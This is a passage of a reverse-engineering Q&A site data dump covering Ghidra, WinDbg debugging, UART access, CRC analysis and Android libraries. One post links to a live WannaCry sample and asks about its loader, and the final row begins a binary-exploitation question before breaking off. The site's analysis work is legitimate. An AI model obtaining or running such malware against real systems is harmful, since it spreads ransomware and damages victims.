  <row Id="22984" PostTypeId="2" ParentId="22983" CreationDate="2020-01-13T15:00:45.097" Score="4" Body="&lt;p&gt;It is being used when there's a mismatch between type sizes in the decompiled code and Ghidra cannot show you that the whole variable is being modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;PUCHAR&lt;/code&gt; - since it is a pointer and this is (probably) 64-bit is 8 bytes. But analyzing the disassembly Ghidra sees that only 4 bytes are being set to 0 in this line (for example a 32 bit register is used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the fix you can apply is by correcting the type of &lt;code&gt;local_res8&lt;/code&gt; (&lt;kbd&gt;CTRL+L&lt;/kbd&gt;) but it might be the case that the type is ok, and in fact only lower 32-bits are being set..&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-01-13T15:00:45.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22985" PostTypeId="1" AcceptedAnswerId="22991" CreationDate="2020-01-13T15:20:22.817" Score="1" ViewCount="3979" Body="&lt;p&gt;I'm currently analyzing a function that has a lot of indirect jumps looking like the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LEA R10,[0x142000000]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(some instructions that dont change R10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JMP R10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ghidra decompiler just treats the indirect jump as a call and doesnt give any meaningful output. How do I go ahead and analyze a function like that? I guess ideally I would just like to change the JMP R10 instruction to JMP 0x142000000 in this example, however if I cant just do that since the opcode is larger and other jumps would no longer align.&lt;/p&gt;&#xA;" OwnerUserId="30768" LastActivityDate="2020-06-04T19:29:39.870" Title="Ghidra analyzing hardcoded indirect jumps" Tags="|decompilation|ghidra|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22986" PostTypeId="1" CreationDate="2020-01-13T15:33:02.563" Score="0" ViewCount="1069" Body="&lt;p&gt;I'm trying to create UART cable for A520F phone with USB type-c. Seems, &lt;a href=&quot;https://forum.xda-developers.com/galaxy-s8+/how-to/hardware-uart-cable-time-t3607499&quot; rel=&quot;nofollow noreferrer&quot;&gt;there is no UART debug modes S8+ either&lt;/a&gt;.  On Samsung phones with micro USB one may access UART JIG mode with  619K resistor, connected to micro USB ID pin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I test:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can dump MUIC registers. I have raw usb type c plug(mounted on board with solder pads), with cable soldered, which maps usb type c pins on breadboard. So I assemble test scheme and analyze MUIC registers and MUIC linux kernel module log output upon attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I currently find:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The receptacle is managed by s2mu004 kernel module. Module is capable to manage non type-c receptacles (see CONFIG_MUIC_S2MU004_NON_USB_C_TYPE option)&lt;/li&gt;&#xA;&lt;li&gt;Receptacle has non standard pinout: B12 (considering, A row facing top, B row facing bottom side of the phone) pin is not connected to the ground.&lt;/li&gt;&#xA;&lt;li&gt;Device can detect water in usb receptacle, by measuring resistance between B12 pin.&lt;/li&gt;&#xA;&lt;li&gt;Device can detect plug attach, with ALL pins unconnected, including GND and VBUS pins. How?&lt;/li&gt;&#xA;&lt;li&gt;Attaching 619K resistor to B12 pin results in ADC_JIG_UART_ON value in ADC register, during water detection sequence.&lt;/li&gt;&#xA;&lt;li&gt;Attaching 619K resistor to one of CC pins result in no device connected.&lt;/li&gt;&#xA;&lt;li&gt;Enter UART mode by attaching resistors should be possible in NON type-c mode. (file s2mu004-muic.c ,&lt;a href=&quot;https://github.com/LineageOS/android_kernel_samsung_universal7880/blob/lineage-16.0/drivers/muic/s2mu004-muic.c#L2854&quot; rel=&quot;nofollow noreferrer&quot;&gt;lines 2835,2797&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Device has no USB type-c debug accessory mode(tried both with rd/rd and rp/rp resistors on CC pins) - rd/rd results in OTG mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What else can I try?&#xA;If you were this device developer, how would you hide UART debug mode from users?&lt;/p&gt;&#xA;" OwnerUserId="30767" LastEditorUserId="30767" LastEditDate="2020-01-26T13:42:06.387" LastActivityDate="2020-01-26T13:42:06.387" Title="Samsung A520F usb type-c uart debug mode" Tags="|hardware|usb|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22987" PostTypeId="1" CreationDate="2020-01-13T15:33:05.633" Score="1" ViewCount="129" Body="&lt;p&gt;Observing a trace of Wow64 switching on Windows 7, the following situation makes me confused&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x77491dbe  64 ff 15 c0 00 00 00  call fs:[0xc0]          ; syswow64\ntdll.dll&#xA;0x74632320  ea 1e 27 63 74 33 00  jmp far 0x33:0x7463271e ; system32\wow64cpu.dll&#xA;0x7463271e  67 44 8b 04 24        mov r8d, [esp]          ; system32\wow64cpu.dll&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first instruction is something similar with &lt;a href=&quot;http://blog.rewolf.pl/blog/?p=102&quot; rel=&quot;nofollow noreferrer&quot;&gt;X86SwitchTo64BitMode&lt;/a&gt;, the second one is a switch back to 64-bit mode. So &lt;code&gt;wow64cpu.dll&lt;/code&gt; has been actually mapped into two different code segments: &lt;code&gt;cs = 23&lt;/code&gt; for compat mode (second instruction) and &lt;code&gt;cs = 33&lt;/code&gt; for 64-bit mode (third instruction). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot find the second instruction (&lt;code&gt;jmp far...&lt;/code&gt;) in the corresponding dll. There are &lt;code&gt;ea 1e 27 b6 78...&lt;/code&gt; at &lt;code&gt;0x74632320&lt;/code&gt;, not &lt;code&gt;ea 1e 27 64...&lt;/code&gt; as being observed in the trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was &lt;code&gt;wow64cpu.dll&lt;/code&gt; modified when being mapped into the memory?&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2020-01-13T16:10:20.010" LastActivityDate="2020-01-13T16:10:20.010" Title="Memory modified at jump far" Tags="|windows|x86|x86-64|tracing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22988" PostTypeId="1" CreationDate="2020-01-13T16:54:06.177" Score="0" ViewCount="344" Body="&lt;p&gt;I have binary than running on Arm , static and striped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know which compiler compiled this binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify function like &lt;code&gt;fread&lt;/code&gt; &lt;code&gt;sleep&lt;/code&gt; &lt;code&gt;printf&lt;/code&gt; &lt;code&gt;ioctl&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30610" LastActivityDate="2020-02-14T09:00:50.723" Title="Detecting libc function with IDA" Tags="|ida|arm|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22990" PostTypeId="1" CreationDate="2020-01-13T18:12:24.010" Score="1" ViewCount="141" Body="&lt;p&gt;Have a 64-bit plugin DLL (no source code) and the host application in an update changed its DLL characteristic to include &quot;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/highentropyva-support-64-bit-aslr?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;high-entropy 64-bit address space layout randomization (ASLR)&lt;/a&gt;&quot; When this is set this causes the add-in to randomly crash. While I have used CFF explorer to remove the DLL characteristic for now to fix the application I am wondering if there is any static analysis techniques could be used on a disassembly to find ASLR incompatibility using tool like IDA Pro, or what such code may look like if come across analysing the application crash dumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With WinDbg I can see access violation here due to rbp set to invalid value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uccoext64!GetOutlookViewID+0x46eee:&#xA;0000016b`01f75bae 488b4500        mov     rax,qword ptr [rbp] ss:00000000`05cccc50=????????????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stepping backwards I find this invalid value is set in a different DLL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UcLogging64+0x1ec8:&#xA;0000016b`05201ec8 488b6c2438      mov     rbp,qword ptr [rsp+38h] ss:00000029`834f8978=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This section of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf 0000016b`05201ec8 488b6c2438 &#xA;UcLogging64+0x1e40:&#xA;0000016b`05201e40 48895c2408      mov     qword ptr [rsp+8],rbx&#xA;0000016b`05201e45 48896c2410      mov     qword ptr [rsp+10h],rbp&#xA;0000016b`05201e4a 48897c2418      mov     qword ptr [rsp+18h],rdi&#xA;0000016b`05201e4f 4154            push    r12&#xA;0000016b`05201e51 4883ec20        sub     rsp,20h&#xA;0000016b`05201e55 33ff            xor     edi,edi&#xA;0000016b`05201e57 418bd9          mov     ebx,r9d&#xA;0000016b`05201e5a 4d8be0          mov     r12,r8&#xA;0000016b`05201e5d 488bea          mov     rbp,rdx&#xA;0000016b`05201e60 40387928        cmp     byte ptr [rcx+28h],dil&#xA;0000016b`05201e64 7423            je      UcLogging64+0x1e89 (0000016b`05201e89)  Branch&#xA;&#xA;UcLogging64+0x1e66:&#xA;0000016b`05201e66 8b542450        mov     edx,dword ptr [rsp+50h]&#xA;0000016b`05201e6a 488d0d0fd60000  lea     rcx,[UcLogging64!UnifiedClientTrace+0xa480 (0000016b`0520f480)]&#xA;0000016b`05201e71 e82afaffff      call    UcLogging64+0x18a0 (0000016b`052018a0)&#xA;0000016b`05201e76 4885c0          test    rax,rax&#xA;0000016b`05201e79 7403            je      UcLogging64+0x1e7e (0000016b`05201e7e)  Branch&#xA;&#xA;UcLogging64+0x1e7b:&#xA;0000016b`05201e7b 8b780c          mov     edi,dword ptr [rax+0Ch]&#xA;&#xA;UcLogging64+0x1e7e:&#xA;0000016b`05201e7e f6c304          test    bl,4&#xA;0000016b`05201e81 7406            je      UcLogging64+0x1e89 (0000016b`05201e89)  Branch&#xA;&#xA;UcLogging64+0x1e83:&#xA;0000016b`05201e83 85ff            test    edi,edi&#xA;0000016b`05201e85 7e02            jle     UcLogging64+0x1e89 (0000016b`05201e89)  Branch&#xA;&#xA;UcLogging64+0x1e87:&#xA;0000016b`05201e87 ffcf            dec     edi&#xA;&#xA;UcLogging64+0x1e89:&#xA;0000016b`05201e89 448b442450      mov     r8d,dword ptr [rsp+50h]&#xA;0000016b`05201e8e 448bcf          mov     r9d,edi&#xA;0000016b`05201e91 498bd4          mov     rdx,r12&#xA;0000016b`05201e94 488bcd          mov     rcx,rbp&#xA;0000016b`05201e97 e834fcffff      call    UcLogging64+0x1ad0 (0000016b`05201ad0)&#xA;0000016b`05201e9c f6c301          test    bl,1&#xA;0000016b`05201e9f 7422            je      UcLogging64+0x1ec3 (0000016b`05201ec3)  Branch&#xA;&#xA;UcLogging64+0x1ea1:&#xA;0000016b`05201ea1 33c0            xor     eax,eax&#xA;0000016b`05201ea3 488bfd          mov     rdi,rbp&#xA;0000016b`05201ea6 4883c9ff        or      rcx,0FFFFFFFFFFFFFFFFh&#xA;0000016b`05201eaa 66f2af          repne scas word ptr [rdi]&#xA;0000016b`05201ead 488b053c890000  mov     rax,qword ptr [UcLogging64!UnifiedClientTrace+0x57f0 (0000016b`0520a7f0)]&#xA;0000016b`05201eb4 488947fe        mov     qword ptr [rdi-2],rax&#xA;0000016b`05201eb8 488b0539890000  mov     rax,qword ptr [UcLogging64!UnifiedClientTrace+0x57f8 (0000016b`0520a7f8)]&#xA;0000016b`05201ebf 48894706        mov     qword ptr [rdi+6],rax&#xA;&#xA;UcLogging64+0x1ec3:&#xA;0000016b`05201ec3 488b5c2430      mov     rbx,qword ptr [rsp+30h]&#xA;0000016b`05201ec8 488b6c2438      mov     rbp,qword ptr [rsp+38h]&#xA;0000016b`05201ecd 488b7c2440      mov     rdi,qword ptr [rsp+40h]&#xA;0000016b`05201ed2 4883c420        add     rsp,20h&#xA;0000016b`05201ed6 415c            pop     r12&#xA;0000016b`05201ed8 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Time Travel debugging and a memory write breakpoint on this location I see it seems to change here, stepping backwards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UcLogging64+0x1e45:&#xA;0000016b`05201e45 48896c2410      mov     qword ptr [rsp+10h],rbp ss:00000029`834f8978=0000016b0520add8&#xA;0:000&amp;gt; r rbp&#xA;rbp=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking again for when rbp is set to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UcLogging64+0x1193:&#xA;0000016b`05201193 488b6c2448      mov     rbp,qword ptr [rsp+48h] ss:00000029`834f8958=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stepping back:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UcLogging64+0x108a:&#xA;0000016b`0520108a 56              push    rsi&#xA;0:000&amp;gt; dd 00000029`834f8958&#xA;00000029`834f8958  05cccc50 00000000 834f8a09 00000029&#xA;00000029`834f8968  052051a4 0000016b 0520a728 0000016b&#xA;00000029`834f8978  0520add8 0000016b 834f89e0 00000029&#xA;00000029`834f8988  6d5e0000 00000000 000004e0 53282064&#xA;00000029`834f8998  01f92a80 0000016b 0520a728 0000016b&#xA;00000029`834f89a8  0520f0a0 0000016b ffffff01 ffffffff&#xA;00000029`834f89b8  01f92a70 0000016b 00000027 00000000&#xA;00000029`834f89c8  834fa670 00000029 fffffffe ffffffff&#xA;0:000&amp;gt; t-&#xA;Time Travel Position: 6516CD:1B [Unindexed] Index&#xA;UcLogging64+0x1085:&#xA;0000016b`05201085 48896c2420      mov     qword ptr [rsp+20h],rbp ss:00000029`834f8958=0000016b01fad918&#xA;0:000&amp;gt; dd 00000029`834f8958&#xA;00000029`834f8958  01fad918 0000016b 834f8a09 00000029&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going backwards again see this change to invalid instuction on pop rbp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rbp=00000029834f8930&#xA;0:000&amp;gt; t-&#xA;Time Travel Position: 6516CB:134 [Unindexed] Index&#xA;MSVCR100!vswprintf_l+0xd7:&#xA;00000000`6d61400f 4883c450        add     rsp,50h&#xA;0:000&amp;gt; r rbp&#xA;rbp=00000029834f8930&#xA;0:000&amp;gt; t&#xA;Time Travel Position: 6516CB:135 [Unindexed] Index&#xA;MSVCR100!vswprintf_l+0xdb:&#xA;00000000`6d614013 5d              pop     rbp&#xA;0:000&amp;gt; t&#xA;Time Travel Position: 6516CB:136 [Unindexed] Index&#xA;MSVCR100!vswprintf_l+0xdc:&#xA;00000000`6d614014 c3              ret&#xA;0:000&amp;gt; r rbp&#xA;rbp=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the value was corrupt before function started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time Travel Position: 6516CA:B51 [Unindexed] Index&#xA;MSVCR100!vswprintf_l+0x13:&#xA;00000000`6d613f4b 55              push    rbp&#xA;0:000&amp;gt; t-&#xA;Time Travel Position: 6516CA:B50 [Unindexed] Index&#xA;MSVCR100!vswprintf_l+0xf:&#xA;00000000`6d613f47 4c896020        mov     qword ptr [rax+20h],r12 ds:00000029`834f8958=0000000000000004&#xA;0:000&amp;gt; r rbp&#xA;rbp=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gets setup in a previous msvcr100!vswprintf_l call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MSVCR100!vsnprintf_l+0xbb:&#xA;00000000`6d613a0b 488b6c2468      mov     rbp,qword ptr [rsp+68h] ss:00000029`834f8938=0000000005cccc50&#xA;0:000&amp;gt; r rbp&#xA;rbp=0000000000000000&#xA;0:000&amp;gt; t&#xA;Time Travel Position: 6516CA:ACB [Unindexed] Index&#xA;MSVCR100!vsnprintf_l+0xc0:&#xA;00000000`6d613a10 488b742470      mov     rsi,qword ptr [rsp+70h] ss:00000029`834f8940=0000016b01fad918&#xA;0:000&amp;gt; r rbp&#xA;rbp=0000000005cccc50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is setup earlier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r rbp&#xA;rbp=0000000005cccc50&#xA;0:000&amp;gt; t&#xA;Time Travel Position: 6516CA:11C [Unindexed] Index&#xA;MSVCR100!vsnprintf_l+0x3:&#xA;00000000`6d613953 48895808        mov     qword ptr [rax+8],rbx ds:00000029`834f8930=0000016b0520f0a0&#xA;0:000&amp;gt; t&#xA;Time Travel Position: 6516CA:11D [Unindexed] Index&#xA;MSVCR100!vsnprintf_l+0x7:&#xA;00000000`6d613957 48896810        mov     qword ptr [rax+10h],rbp ds:00000029`834f8938=0000016b0520f000&#xA;0:000&amp;gt; t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This continues, I haven't traced all the way back to origin yet, I am wondering if there is some other way I could find likely code to create this problem.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-01-14T00:10:09.943" LastActivityDate="2020-01-14T00:10:09.943" Title="Find High Entropy VA (64-bit ALSR) Incompatibility in Disassembly" Tags="|disassembly|windows|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22991" PostTypeId="2" ParentId="22985" CreationDate="2020-01-13T21:09:31.933" Score="0" Body="&lt;p&gt;You can potentially change this to what you're looking for by using the &quot;Modify Instruction Flow...&quot; menu item when right clicking the jump instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ghidra, press F1 and search for &quot;Modify Instruction Flow&quot; for a full description&lt;/p&gt;&#xA;" OwnerUserId="30695" LastEditorUserId="30695" LastEditDate="2020-01-18T20:15:23.203" LastActivityDate="2020-01-18T20:15:23.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22992" PostTypeId="2" ParentId="16502" CreationDate="2020-01-13T23:42:54.903" Score="1" Body="&lt;p&gt;It looks like this is a custom CRC in which the initial value of the algorithm depends on the first byte of the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These parameters stay consistent for all messages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Polynomial = 0x1d&lt;/li&gt;&#xA;&lt;li&gt;Input Reflected = False&lt;/li&gt;&#xA;&lt;li&gt;Result Reflected = False&lt;/li&gt;&#xA;&lt;li&gt;Final Xor Value = 0x00&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the initial value depends on the first byte: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x00: init = 0x7a&lt;/li&gt;&#xA;&lt;li&gt;0x51: init = 0x3a&lt;/li&gt;&#xA;&lt;li&gt;0x71: init = 0xe0&lt;/li&gt;&#xA;&lt;li&gt;0x13: init = 0xbd&lt;/li&gt;&#xA;&lt;li&gt;0x15: init = 0xcf&lt;/li&gt;&#xA;&lt;li&gt;0x1b: init = 0x05&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You also have to replace the last byte with 0x00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using the second message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;518155&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the last byte with 0x00:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;518100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using an online &lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;calculator&lt;/a&gt; and the parameters from above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zihs3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zihs3.png&quot; alt=&quot;Screenshot of online calculator with calculation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried finding some sort of relationship between the first byte and the initial value used in the algo, but didn't come up with anything.&lt;/p&gt;&#xA;" OwnerUserId="30664" LastEditorUserId="30664" LastEditDate="2020-01-14T15:45:08.990" LastActivityDate="2020-01-14T15:45:08.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22994" PostTypeId="1" CreationDate="2020-01-14T01:39:22.613" Score="2" ViewCount="270" Body="&lt;p&gt;I work as cybersecurity consultant, and now I am on mission to reverse engineering of mobile app.&lt;/p&gt;&#xA;&lt;p&gt;I always reverse it using Jadx and dex2jar... the problem that after reverse them I found some native methods with like&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;system.libraryload(&amp;quot;share_c++&amp;quot;)&lt;/code&gt;, &lt;code&gt;system.libraryload(&amp;quot;android-network&amp;quot;)&lt;/code&gt;, and &lt;code&gt;system.securityloadlibrarry(&amp;quot;mainJni&amp;quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I can't find the &lt;code&gt;.so&lt;/code&gt; or library files. Can anyone help me, please?&lt;/p&gt;&#xA;" OwnerUserId="30775" LastEditorUserId="245" LastEditDate="2021-12-15T21:04:40.970" LastActivityDate="2023-05-10T00:01:30.200" Title="Load Library Android" Tags="|android|java|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22995" PostTypeId="1" CreationDate="2020-01-14T09:17:05.337" Score="1" ViewCount="75" Body="&lt;p&gt;I downloaded wannacry sample here: &lt;a href=&quot;https://github.com/fadyosman/WannaCrySample/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/fadyosman/WannaCrySample/releases&lt;/a&gt;. Don't forget to enter password for archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out how most of the binary works, except the very last part in WinMain located at 401FE7. I have the problem with reversing where if-block starts at 004020FE, there's a lot of gibberish code following. Wannacry calls the function at 4020F5 which loads ADVAPI32.dll and KERNEL32.dll and gets function handles. Instruction at 402112 calls the function which prepares the decryption key to be used further. Before it wannacry unpacks an archive with several files. 40212D calls function which decrypts t.wnry and stores contents somewhere in process space. This is all I know for sure except unnecessary details. So I have a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When program calls 4012FD function at 402104, what does this function do? The main body doesn't have meaningful code. There are several functions nested in it which call InitializeCriticalSection(). &lt;/li&gt;&#xA;&lt;li&gt;There are 2 functions located at 4021BD and 402924. The first one calls another functions with arguments referring to functions like VirtualAlloc, VirtualFree, LoadLibrary, etc. 402924 just contains some magic code. I realize this is where wannacry launcher transmits execution to another process, I just want to know the mechanism how it does in general.&lt;/li&gt;&#xA;&lt;li&gt;Btw wannacry loads several functions from KERNEL32.dll which it already had, why does it load them again?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27474" LastActivityDate="2020-01-14T09:17:05.337" Title="How does this wannacry sample work?" Tags="|windows|x86|malware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22996" PostTypeId="1" AcceptedAnswerId="23014" CreationDate="2020-01-14T09:31:42.190" Score="1" ViewCount="972" Body="&lt;p&gt;I'm trying to reverse an application that is using a DLL that i'm interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can properly disassemble the application itself with DnSpy, as it is a .Net application, and I can disassemble the used DLL with IDA, as it's a native C shared library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using x64dbg as a debugger, and i would like to see the interactions between the application and the DLL. I can properly break on the DLL by loading the .Net app into x64Dbg, and waiting for a DLL call, and it's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the fact that x64dbg does not support .Net syntax make it very weird to play with when the flow came back from the DLL to the application, and i would like to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the DnSpy build-in debugger to see what's going on on a high level with the .Net application.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And use x64dbg attached to the DLL to take a look at it whenever it is call by the application.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But i can't manage to do that, since the root process (the .Net application) cannot be debugged by two debugger at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i setup x64dbg to intercept the DLL without attaching it to the .Net process ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible to do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I'm unaware of some magic tools that would help me ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-06-14T00:00:42.743" Title="Attach one debugger to a DotNet application, and a second one to a loaded DLL" Tags="|ida|dll|.net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22997" PostTypeId="2" ParentId="18170" CreationDate="2020-01-14T09:46:49.170" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/xtiankisutsa/MARA_Framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;MARA_Framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/MobSF/Mobile-Security-Framework-MobSF&quot; rel=&quot;nofollow noreferrer&quot;&gt;MobSF&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apktool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://apk-deguard.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;apk-deguard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.xda-developers.com/android/software-hacking/tool-apk-easy-tool-v1-02-windows-gui-t3333960&quot; rel=&quot;nofollow noreferrer&quot;&gt;APK Easy Tool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26884" LastActivityDate="2020-01-14T09:46:49.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22998" PostTypeId="1" CreationDate="2020-01-14T10:36:52.060" Score="6" ViewCount="401" Body="&lt;p&gt;Newbie here. Sorry for what you about to read .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on exploiting a binary on Ubuntu 18.04. Here is some information about the binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its checksec information using pwntools:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Arch:     i386-32-little&#xA;    RELRO:    Full RELRO&#xA;    Stack:    No canary found&#xA;    NX:       NX enabled&#xA;    PIE:      No PIE (0x8048000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its disassembled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./vulnprog:     file format elf32-i386&#xA;&#xA;&#xA;Disassembly of section .init:&#xA;&#xA;0804834c &amp;lt;_init&amp;gt;:&#xA; 804834c:   53                      push   ebx&#xA; 804834d:   83 ec 08                sub    esp,0x8&#xA; 8048350:   e8 8b 00 00 00          call   80483e0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&#xA; 8048355:   81 c3 87 1c 00 00       add    ebx,0x1c87&#xA; 804835b:   8b 83 18 00 00 00       mov    eax,DWORD PTR [ebx+0x18]&#xA; 8048361:   85 c0                   test   eax,eax&#xA; 8048363:   74 05                   je     804836a &amp;lt;_init+0x1e&amp;gt;&#xA; 8048365:   e8 2e 00 00 00          call   8048398 &amp;lt;__gmon_start__@plt&amp;gt;&#xA; 804836a:   83 c4 08                add    esp,0x8&#xA; 804836d:   5b                      pop    ebx&#xA; 804836e:   c3                      ret    &#xA;&#xA;Disassembly of section .plt:&#xA;&#xA;08048370 &amp;lt;.plt&amp;gt;:&#xA; 8048370:   ff 35 e0 9f 04 08       push   DWORD PTR ds:0x8049fe0&#xA; 8048376:   ff 25 e4 9f 04 08       jmp    DWORD PTR ds:0x8049fe4&#xA; 804837c:   00 00                   add    BYTE PTR [eax],al&#xA;    ...&#xA;&#xA;Disassembly of section .plt.got:&#xA;&#xA;08048380 &amp;lt;read@plt&amp;gt;:&#xA; 8048380:   ff 25 e8 9f 04 08       jmp    DWORD PTR ds:0x8049fe8&#xA; 8048386:   66 90                   xchg   ax,ax&#xA;&#xA;08048388 &amp;lt;_exit@plt&amp;gt;:&#xA; 8048388:   ff 25 